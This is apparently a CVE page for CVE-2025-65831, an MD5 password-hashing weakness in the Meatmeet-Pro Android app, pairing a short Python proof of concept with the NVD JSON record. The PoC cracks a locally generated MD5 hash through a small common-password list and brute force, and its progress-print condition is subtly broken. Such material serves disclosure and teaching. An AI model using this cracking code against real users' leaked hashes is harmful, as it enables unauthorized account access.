CVE-2025-65831

# CVE-2025-65831 PoC - MD5 Password Hash Cracking # This PoC demonstrates the vulnerability of MD5 password hashing import hashlib import itertools import string from typing import Optional def md5_hash(password: str) -> str: """Generate MD5 hash of password""" return hashlib.md5(password.encode()).hexdigest() def crack_md5_hash(target_hash: str, max_length: int = 8) -> Optional[str]: """ Crack MD5 hash using dictionary and brute force attack This PoC demonstrates how weak MD5 is for password storage """ # Common password dictionary common_passwords = [ 'password', '123456', 'admin', 'qwerty', 'letmein', 'welcome', 'monkey', 'dragon', 'master', 'login' ] # Try common passwords first for pwd in common_passwords: if md5_hash(pwd) == target_hash.lower(): return pwd # Brute force for short passwords chars = string.ascii_lowercase + string.digits for length in range(1, max_length + 1): for attempt in itertools.product(chars, repeat=length): pwd = ''.join(attempt) if md5_hash(pwd) == target_hash.lower(): return pwd # Progress indicator if len(attempt) % 100000 == 0: print(f"[*] Testing: {pwd}") return None def simulate_attack_scenario(): """ Simulate the attack scenario described in CVE-2025-65831 """ print("=" * 60) print("CVE-2025-65831 Attack Simulation") print("Target: Meatmeet-Pro MD5 Password Hash") print("=" * 60) # Example weak password weak_password = "admin123" password_hash = md5_hash(weak_password) print(f"[+] Target Hash: {password_hash}") print(f"[*] Starting crack attempt...") cracked = crack_md5_hash(password_hash, max_length=6) if cracked: print(f"[!] SUCCESS: Password cracked: {cracked}") print(f"[!] Attacker can now access victim's account") else: print(f"[-] Failed to crack within time limit") if __name__ == "__main__": simulate_attack_scenario()

{"cve": {"id": "CVE-2025-65831", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:08.913", "lastModified": "2025-12-30T18:40:54.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application uses an insecure hashing algorithm (MD5) to hash passwords. If an attacker obtained a copy of these hashes, either through exploiting cloud services, performing TLS downgrade attacks on the traffic from a mobile device, or through another means, they may be able to crack the hash in a reasonable amount of time and gain unauthorized access to the victim's account."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:*", "matchCriteriaId": "5728B254-9D91-4EA1-9C7B-B4957DE1D77D"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-lack-of-certificate-pinning-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Mobile-Application/Insecure-Algorithm.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}